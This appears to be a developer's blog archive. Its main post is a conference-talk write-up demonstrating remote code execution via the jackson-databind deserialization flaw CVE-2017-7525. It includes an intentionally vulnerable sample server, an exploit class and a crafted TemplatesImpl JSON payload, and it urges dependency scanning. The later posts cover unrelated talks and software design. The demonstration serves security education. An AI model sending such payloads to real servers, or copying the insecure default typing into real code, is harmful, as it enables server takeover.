Are you using an opensource library? There’s a good chance you are vulnerable…

This is the talk I presented yesterday at Codemotion Rome 2018! Awesome conference and people, cannot wait for the next one!

You can find a detailed technical explanation in my previous blog post, and you can also have access to the code on GitHub to reproduce the exploit yourself.

Do not underestimate your problem, and put the correct procedure in place: you do not want to be the next Equifax.



Remotely execute Java code using JSON


How difficult is to exploit a vulnerability in a common Java library in order to remotely execute Java code on a remote server and successfully taking control over it? Not much, really. In this article, we will demonstrate how to do that using CVE- 2017-7525, a well-known vulnerability in jackson-databind, a widely used library to serialize and deserialize JSON, also part of the spring-boot stack.

The sample code.

As we all know, the task of serializing and deserializing JSON messages is a very common task, especially in modern microservices REST-based applications: almost every time an API is called, a JSON message is sent to the server, to be transformed in a Java object. Because of a stream of deserialization vulnerabilities in jackson-databind it’s now possible to write simple exploits in order to get access to unpatched servers when polymorphic type handling is enabled.

In order to clearly explain the concepts, we are introducing here a simple server that handles products with two REST APIs, one to get the list of the products and one to add a new product  (all the code is available on GitHub). Please note that this is just a sample: we just want to provide you with a simple and understandable piece of code, and by no means it can be classified (we hope!) as production code.

A sample of our Product class, it holds some  basic product information:

public class Product {

    private int id;
    private String name;
    private String description;
    private Object data; 

    protected Product() {


Our ProductDatabase class, just a glorified HashMap

public class ProductsDatabase {

  private Map<String, Product> products = new HashMap<>();
  private AtomicInteger idGenerator = new AtomicInteger(0);

  public ProductsDatabase() {
     add(new Product(0,"apple", "Real apple from Italy", randomData()));
     add(new Product(0,"orange", "Real orange from Italy", randomData()));
     add(new Product(0,"kiwi", "Real kiwi from Italy", randomData()));

  public Collection list() {
    return Collections.unmodifiableCollection(products.values());

  public Product add(Product newProduct) {
    Integer newId = idGenerator.incrementAndGet();
    Product product = newProduct.duplicate(newId);
    products.put(newId.toString(), product);
    return product;


Our simple server, written with SparkJava:

public class Main {
  private static ProductsDatabase products = new ProductsDatabase();
  private static ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping();
  private static ObjectMapper serializer = new ObjectMapper();
  public static void main(String[] args) {


    // GET list all products
    get("/products", (request, response) -> {
      Collection res = products.list();
      return serializer.writeValueAsString(res);

    // POST add new product
    post("/products", (request, response) -> {
      Product received = deserializer.readValue(request.body(), Product.class);

You can add a product to the database with a simple curl call with a JSON body containing the new product data:

curl -i -X POST -d '{"name":"melon","description":"Real melon from Italy", "data":["java.util.HashMap",{"cost":2,"color":"yellow"}]}' http://localhost:8888/products

The exploit.

In order to exploit the vulnerability, we need to have a vector. On this occasion we decided to use Apache Xalan, a common XSLT library also included in the JDK (which, until version 8u45, is possible to use as the vector, in the same way Xalan is used here). Please note that there are a lot of other options available as attack vectors, but for the sake of simplicity, we will focus here on a very specific one.

We will use a particular class from Xalan which is capable to deserialize an encoded class file from an XML, and dynamically create an instance of such class: we will craft a JSON message that will contain the encoded class of our exploit class here:

public class Exploit extends org.apache.xalan.xsltc.runtime.AbstractTranslet {

  public Exploit() throws Exception {
    System.err.println("Your server has been compromised!");

  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

We just need to compile this source code in a .class file, encoded it in Base64 and prepare our evil JSON message:

  "name": "fakeapple",
  "description": "Fake fruit from UK",
  "data": ["org.apache.xalan.xsltc.trax.TemplatesImpl",
    "transletName": "oops!",
    "outputProperties": {}

After sending the message to the server as a normal “add product” request, the encoded class will be instantiated by the Xalan TemplatesImpl class in order for it to populate the value of the outputProperties field: as the constructor code is executed, the evil code is executed as well and the server compromised. Yes, you might have exceptions in the server, but it’s too late.


This is just an example of hundreds of exploits currently possible using public vulnerabilities on various open source libraries and for that reason, it’s extremely important that you add to your build pipeline a scanner capable to detect and block the build if such situation is detected. We would kindly invite you to use our simple command line client available at and avoid future nasty surprises. You do not want to be the next Equifax.

You can reach me at!

`Disclaimer: please note that all these information are publicly available on the internet. This is just a summary post from a cybersecurity practitioner and nothing else. The code provided is for research purposes only.
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This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.

Distributed System Explained recording (in English) is available!

Thanks to the hard work of the Geecon team, the recording of my speech about Distributed Programming is now available on YouTube!

The code is on GitHub as usual, and remember this is NOT production code 🙂

I have now run this speech in four conferences/countries  (Italy, Israel, Poland, Czech Republic) and every time is a success, but I think now it’s time to move on to something else 🙂 There will be another recording from the amazing Geecon Prague conference (I will update this post) that might be slightly better due to me moving less eheh!

To be honest, I would like to run this speech in my new home country, the UK (well, at least until I will be kicked out due to Brexit) but I had no success in any CFP, so if anybody wants to give me a shot I will be up for the challenge!

CAP Theorem@Codemotion 2016, Milan

I just come back from Codemotion Milan, and it was great! Apparently a lot of people liked my presentation, someone told me that they really understood, for the first time, the CAP theorem. Which is absolutely great!

Thanks for everybody who attended, you were a fantastic bunch and I feel absolutely grateful and privileged for being there!

I am looking forward to the next tech meeting or conference!

Ah, the code is on GitHub but please keep in mind that this is basically the result of a four days spike, so it’s not particularly good. But I promise I will refactor it 🙂

The recording (in Italian) is available on youtube thanks to Codemotion.


My PM wants to take a shortcut. How do I explain my engineering point of view?

In this post we describe a situation between me, the head of engineering, and a PM (Don)  that wants to push a (not very good) solution to one of the engineering team. The engineers are pushing back, and Don does not understand why. Everybody is in good faith, but they do not understand each other…

Dear Don….

Let me try to explain the issue here from my point of view. This is a classic problem in software engineering, and it happens all the time: however, if you want to understand it you will have to take a bit of time, at least as much I invested to write this, so please sit down, relax, and enjoy the ride!

abstraction consists in capturing those portions of reality that are significant for your problem

One of the core concepts of software engineering is abstraction, which consists in capturing those portions of reality that are significant for your problem: software systems tries to represent reality, but its complexity can be overwhelming. Imagine that you want to model a car: how would you do that? Would you represent it with four wheels, four doors, a bonnet? Or would you consider its speed on the road, its position on the territory? What about the current angle of the steering wheel? The number of revs of the engine? I could go on forever. The fact is that you have to capture a portion of it, the parts that make sense for your problem. So, if you plan to manage a factory that build cars, then the structural abstraction (wheels, bonnet, doors) is a good one, while if you are building a navigation system you will be mostly interested in its position, speed and similar.

models are implementations of abstraction in the software realm

Once you have defined the overall abstraction that you want to use, then you end up defining your models, which basically are implementations of the abstraction in the software realm, defining structure and behavior based on our requirements. In an Object Oriented approach those are usually represented (unsurprisingly) by objects, which may have (on some typed languages) also a generalization, which is basically a blueprint to create objects (usually called “class”, but that’s not really important). They may also have some form of persistent representation, which can be stored in a relational database (like MySql) in the form of records on tables, or  as a document on a nosql database (like Mongo). They also have a tight relation to the user experience, which should be built around such models and should match the mental model that we (and our users) will instinctively adopt and use.

on every change the models must be improved to accommodate future changes

I hope it’s clear now why models are so important, and how pervasive they are: basically they are the foundation of our software, get them wrong or screw them, and you will have very big problems. For that reason maintaining and evolving these models correctly is extremely important, and the trick is to make sure that at every change we make, the models are improved so that’s easier to accommodate changes in the future.

your change does not evolve the model, it violates the underlying abstraction, and makes it harder to change

Now, the change that you are suggesting consists in picking a portion of that model and changing it violating the underlying abstraction: you are basically proposing to screw it. You are not evolving it, you are not making it  easier to change in the future, you are just patching it. And when you continuously make changes like these then you end up with a pile of crap that you won’t be able to change at all. Sounds familiar?

do not offer solutions, state the problem

For that reason the engineers are resisting this action. So, do not offer solutions: state the problem, and trust your team to come back to the right solution! And if it’s not right.. well, failure should be part of the process. Like Lynda Resnick once said, “you will learn more from your failures than your successes“.

You shoud attend a conference. No, better, be a speaker!

I just come back from Codemotion Amsterdam and it’s been a fantastic experience! I met a lot of smart guys, I’ve been infected with a lot of new ideas, and I honestly cannot wait to come back to work to share this fun! It’s incredible the amount of knowledge you can pack in two days, the inspiration that you can get, if only you try!

But I was also a speaker there, and I thoroughly enjoyed the fact I was able, myself, to influence people. And a very good breed of people, the ones who actually go to a conference! Some of them took some days off to attend, gave up a couple of days on the beach in the sun to attend a conference and, among other, see me 🙂 How cool is that? These are the people you want to have, as engineers, in your company! People who actually care, who are willing to do sacrifices to learn and to improve themselves!

How many of them do you have in your company? You should do something about that, you should try to get the best people around, and make sure they stick with you big time! So, now, go, check, NOW! How many people do you have in your company that have this (brave, sane and good) attitude?

And what about speakers? That’s the next step! How many people, in your company, decided to be a speaker at a conference? And to risk public humiliation, the fear of the demo going wrong, the nights spent preparing slides, the endless rehearsals… for what? Speakers usually do not get paid. Sometimes they get refunded some costs, sometimes not. And yet… they do it! Because… because we can! I remember my first European conference, Javapolis 2006 (now known as Devoxx) where I talked about Selenium and FitNesse… I was scared, I was unsure, I felt very unsafe, but I did it, and it went well! And if somebody like me, at the time, did it, YOU can do it! Start small, an internal meeting, then meetup or a local user group, then a small national conference, then a bigger one, then a European one… YOU CAN! And it’s awesome!

Now, I am an old fart, and even if I’ve been speaking at many conferences during my career  I am almost out of the game (hey, I said almost!) and the best thing I can do is to breed the new generations to come 🙂 And heck, I will make a point, I will make sure my developers will be speakers, so that this beautiful cycle will continue.

I will have speakers in my company, promise!






Codemotion 2016, Amsterdam!

I am so glad I am here! The venue is amazing and the people are awesome!


I just finished my talk about Microservices and NodeJS. As usual I had to cut short, not enough time to go trough even half of the slides, so I concentrated on the code 🙂 You can find the last version of the slides on slideshare.

All the code is on Github and you can see from the commits the amount of time it took, basically less than an afternoon starting from zero knowledge of NodeJS (okay, a part from a couple of bugs I had to fix for the conference!). So please try it yourself!